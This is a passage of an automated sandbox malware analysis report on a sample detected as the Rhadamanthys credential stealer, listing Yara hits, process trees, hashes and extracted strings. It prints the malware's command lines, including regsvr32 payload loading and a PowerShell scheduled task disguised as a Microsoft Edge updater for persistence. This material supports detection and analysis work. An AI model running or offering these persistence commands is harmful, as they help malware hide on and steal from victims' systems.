Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1677206150.0000022BF85F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1667329576.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1676927286.0000022BF85F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1684103225.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1657379194.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1719572786.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1681955679.0000022BF85FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1733626617.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1662264222.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1669915466.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1728712322.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1664818861.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1668657426.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1644462147.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1718358632.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1636694743.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1717013447.0000022BF85F8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1664199634.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1643580454.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1650284949.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1660904997.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1637756767.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1656922103.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1720226582.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1633368508.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1666919810.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1634857555.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1638233166.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1729281119.0000022BF85F8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1672457326.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1643036259.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1670609003.0000022BF85F4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1717903072.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1658624595.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1633368508.0000022BF8501000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1656035942.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1717469357.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1639794446.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1646734442.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1663918695.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:52:25
Start date:	08/10/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	"regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini
Imagebase:	0x7ff7e1b90000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000D.00000003.1611964049.000000001B570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000D.00000002.1633957814.000000001BC61000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:52:51
Start date:	08/10/2024
Path:	C:\Program Files\Windows Media Player\wmpshare.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\wmpshare.exe"
Imagebase:	0x7ff761fe0000
File size:	106'496 bytes
MD5 hash:	A89F75B51EAADA8C97F8D674B3EDB2F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	14:52:53
Start date:	08/10/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\dllhost.exe"
Imagebase:	0x7ff733cd0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	14:52:58
Start date:	08/10/2024
Path:	C:\Windows\System32\rekeywiz.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rekeywiz.exe"
Imagebase:	0x7ff7823f0000
File size:	122'880 bytes
MD5 hash:	A24EFFD38DDC2FFAB4F0592CA2CC585E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:53:01
Start date:	08/10/2024
Path:	C:\Windows\System32\rekeywiz.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rekeywiz.exe"
Imagebase:	0x7ff7823f0000
File size:	122'880 bytes
MD5 hash:	A24EFFD38DDC2FFAB4F0592CA2CC585E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:53:02
Start date:	08/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{C88C8848-C040-4888-C800-C800848C4848}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:53:02
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:53:08
Start date:	08/10/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini
Imagebase:	0x7ff7e1b90000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	14:53:24
Start date:	08/10/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	"regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini
Imagebase:	0x7ff7e1b90000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF887C31B63 Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1606135196.00007FF887C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff887c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07925f280ea02566e126760cf52abfb64351d0b7e9eab6a5f78ca98c956ae588
Instruction ID: 9cc46230822c046404c0cfa071a1bb88984829a0e0c356e6a2a0cfa3a2a04aa9
Opcode Fuzzy Hash: 07925f280ea02566e126760cf52abfb64351d0b7e9eab6a5f78ca98c956ae588
Instruction Fuzzy Hash: 25C11622E4DE874FF799962CA8162BD77E2FF427A0B4801BED04DC7193DD19AC05D242

Function 00007FF887C34D9B Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1606135196.00007FF887C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff887c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ae60e3ce6bca86138d0e53ed74daf82603d62ff1b75e45e034d7c953c69d24
Instruction ID: ba6e661144cb937b7e6734c365bdca18fb52ba24cb68fe8473880b4653daa7a7
Opcode Fuzzy Hash: e5ae60e3ce6bca86138d0e53ed74daf82603d62ff1b75e45e034d7c953c69d24
Instruction Fuzzy Hash: BDC10532D4DA8B4FE7A5EA68D8555BDBAE2FF45390B0801BED01DC7193DA18AD01C382

Function 00007FF887C314FB Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1606135196.00007FF887C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff887c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76a6b5e41c17b7197d4e772ff1a8e258fd6199709afee2ea9838b524d6c9a547
Instruction ID: f8b4c58d8786da034aa3c689245ef93fbf816cc4abe2413973742865ff9b9a18
Opcode Fuzzy Hash: 76a6b5e41c17b7197d4e772ff1a8e258fd6199709afee2ea9838b524d6c9a547
Instruction Fuzzy Hash: A9A11422E4DE8B4FE7A5966C98652BD6AF2FF56790B4801BEC05EC70D3DD08AC05D381

Function 00007FF887C3156A Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1606135196.00007FF887C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff887c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba8012bedad37133e6c007bee1ddf42d09d0fdc6ba8eba0458b22bc17f89785e
Instruction ID: e54bfc7d074f38a3aa8614facdba3ed235a338b3d9843b5dd12dfb435a6ab34b
Opcode Fuzzy Hash: ba8012bedad37133e6c007bee1ddf42d09d0fdc6ba8eba0458b22bc17f89785e
Instruction Fuzzy Hash: 1841D462E4EE874FF7A596AC84652BD56F3FF547A0B5800BEC51EC71D2DD0CA804E241

Function 00007FF887C31C94 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1606135196.00007FF887C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff887c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e72c392f8d6203b9361a9f86c4116e62f773824ac416d6256a4329aa963e3f4
Instruction ID: a420db78585cf0a627d8d7f899e64305ff1d601b86a1d21425baecb5821831de
Opcode Fuzzy Hash: 3e72c392f8d6203b9361a9f86c4116e62f773824ac416d6256a4329aa963e3f4
Instruction Fuzzy Hash: 9121F232E4DE8B4FF7A6962CA45127DA6E3FF417A0B9800BAC11DC7192DD1DAC05E245

Function 00007FF887C32A49 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1606135196.00007FF887C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff887c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5571c30c0bc9977a1409f6724a55400f9dae8ffb9110eb075ec19bf50e230aa
Instruction ID: 94c7a0aad9a264853b834b586101d9948f4c85b5c151328f959b77dc5a304453
Opcode Fuzzy Hash: d5571c30c0bc9977a1409f6724a55400f9dae8ffb9110eb075ec19bf50e230aa
Instruction Fuzzy Hash: 14118E62D4E6CB5FFBA1A66C98552BC6AA2FF55AA0F1800FAC06DC70D2DA1C1C499341

Function 00007FF887C34F36 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1606135196.00007FF887C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff887c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 795d7442edad484bcda6dbb405f08fc93597ec0f9e9fae4da94c2cd2cd9c1c71
Instruction ID: 968863cf71c3230825554b7cb7378624b8f2e3cbe2f56a50cca7ca2648585746
Opcode Fuzzy Hash: 795d7442edad484bcda6dbb405f08fc93597ec0f9e9fae4da94c2cd2cd9c1c71
Instruction Fuzzy Hash: 8011DD32E4CA8A8FE795DA98909027CB7E2FF48341F1800BEC04DCB183CA28E846C351

Function 00007FF887B637B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1603990773.00007FF887B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff887b60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 032ece60c1bab282c033ebfa5e1105c75e160ae5d8a55e6ad4b08aa7a98ebecf
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: B601677115CB0D4FDB44EF0CE451ABAB7E0FB99364F10056DE58AC3691D636E882CB46

Function 00007FF887C3021A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1606135196.00007FF887C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff887c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a566606cdd63dd7ae8e5c09bcb67456402cd8291fcf607402dd3ba7deace99ac
Instruction ID: 8f93bf6ee8b60b70a928960569c98a4a60ed3d427d13be82b54f1a9e62b3d813
Opcode Fuzzy Hash: a566606cdd63dd7ae8e5c09bcb67456402cd8291fcf607402dd3ba7deace99ac
Instruction Fuzzy Hash: 32D0C930108941AF8B5EEA34C469C64BBA1EB65300710454DD447C76D2CE72E4448B44

Analysis Process: ajbs50ul.batPID: 7664, Parent PID: 7456COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.7%
Total number of Nodes:	338
Total number of Limit Nodes:	7

Executed Functions

Function 00007FF71775B630 Relevance: 113.7, APIs: 51, Strings: 12, Instructions: 3418COMMON

Download Yara Rule

APIs

FreeEnvironmentStringsW.KERNEL32 ref: 00007FF71775B7FB
memcpy.MSVCRT ref: 00007FF71775C246
CloseHandle.KERNEL32 ref: 00007FF71775C447
SetLastError.KERNEL32 ref: 00007FF71775C74A
CloseHandle.KERNEL32 ref: 00007FF71775F33F
CloseHandle.KERNEL32 ref: 00007FF71775F381
CloseHandle.KERNEL32 ref: 00007FF71775F3AF
CloseHandle.KERNEL32 ref: 00007FF71775F3C4

Strings

assertion failed: self.height > 0, xrefs: 00007FF71775F1C4
]?\\, xrefs: 00007FF71775C0E0
\?\\, xrefs: 00007FF71775C0D8
0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF71775B631, 00007FF71775F941
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF71775B635
PATHlibrary\std\src\sys_common\process.rs, xrefs: 00007FF71775E1C0
.exeprogram not found, xrefs: 00007FF71775C25F
program path has no file name, xrefs: 00007FF71775F990
exe\\.\NULexit code: , xrefs: 00007FF71775D341, 00007FF71775DBBB, 00007FF71775DD9F, 00007FF71775E05C, 00007FF71775E2B7
#$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c ", xrefs: 00007FF71775D7F5
\cmd.exemaximum number of ProcThreadAttributes exceeded, xrefs: 00007FF71775CCC1, 00007FF71775CD0B
assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF71775C577, 00007FF71775D312

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle$EnvironmentErrorFreeLastStringsmemcpy
String ID: program path has no file name$#$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c "$.exeprogram not found$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards$PATHlibrary\std\src\sys_common\process.rs$\?\\$\cmd.exemaximum number of ProcThreadAttributes exceeded$]?\\$assertion failed: is_code_point_boundary(self, new_len)$assertion failed: self.height > 0$exe\\.\NULexit code:
API String ID: 3975177916-99999070
Opcode ID: fe2b004e3314e481038fff1ecca45f3e7301c4767f1ac2b8b74f2437c320aa7b
Instruction ID: f2d7489925cb67e3528208237903612a3f2098a32e5de1f7178102700e56f07b
Opcode Fuzzy Hash: fe2b004e3314e481038fff1ecca45f3e7301c4767f1ac2b8b74f2437c320aa7b
Instruction Fuzzy Hash: 0F73A862A09ED184EB70AF25DC403F9A761FB087A8FC45535DE4D5BB86DF38968E8310

Function 00007FF717702FE9 Relevance: 13.0, APIs: 3, Strings: 4, Instructions: 741
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF71778AED0: memcpy.MSVCRT ref: 00007FF71778AF34

CreateMutexA.KERNEL32 ref: 00007FF7177030C8
GetLastError.KERNEL32 ref: 00007FF7177030CD

Strings

0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF7177037C6
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF717703174
assertion failed: filled <= self.buf.init/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\core\src\io\borrowed_buf.rs, xrefs: 00007FF717703D46
AppData/Roaming/.ini, xrefs: 00007FF7177031FB

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CreateErrorLastMutexmemcpy
String ID: 0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards$AppData/Roaming/.ini$assertion failed: filled <= self.buf.init/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\core\src\io\borrowed_buf.rs
API String ID: 2779520464-1460878906
Opcode ID: 3c6cfbedc275e337f7816d3378005c7c24f24012d75e5ed0f3664ddbd6614d12
Instruction ID: 35f1ad9e50dba9d9cee7045cdd706b0d6900dbdabec948e4c6e632c53f20e88b
Opcode Fuzzy Hash: 3c6cfbedc275e337f7816d3378005c7c24f24012d75e5ed0f3664ddbd6614d12
Instruction Fuzzy Hash: AD727462619F8291EA21AB11E8503FEA361FB897A0FC04136DE8D57B96DF3CD15EC710

Function 00007FF717701180 Relevance: 10.6, APIs: 7, Instructions: 137
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF7177013E6), ref: 00007FF7177011BE
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF71770122B
malloc.MSVCRT ref: 00007FF71770125F
strlen.MSVCRT ref: 00007FF717701284
malloc.MSVCRT ref: 00007FF717701290
memcpy.MSVCRT ref: 00007FF7177012A8

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandledmemcpystrlen
String ID:
API String ID: 3806033187-0
Opcode ID: 185179c1d74cf54bdcd9faed2df6e4b5ea4683eb18480226f85787322097f7df
Instruction ID: a82b5a9749216f7e5e1ab985917a26a98147f55e09b927ad341888f206c5a316
Opcode Fuzzy Hash: 185179c1d74cf54bdcd9faed2df6e4b5ea4683eb18480226f85787322097f7df
Instruction Fuzzy Hash: F7513B35A19E4286F710BB25F8906BDE7A1AF49BB1F944435DD0C47797CE2CE89E8320

Function 00007FF7177594D0 Relevance: 8.0, APIs: 5, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF717759520
ProcessPrng.BCRYPTPRIMITIVES ref: 00007FF71775954C

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
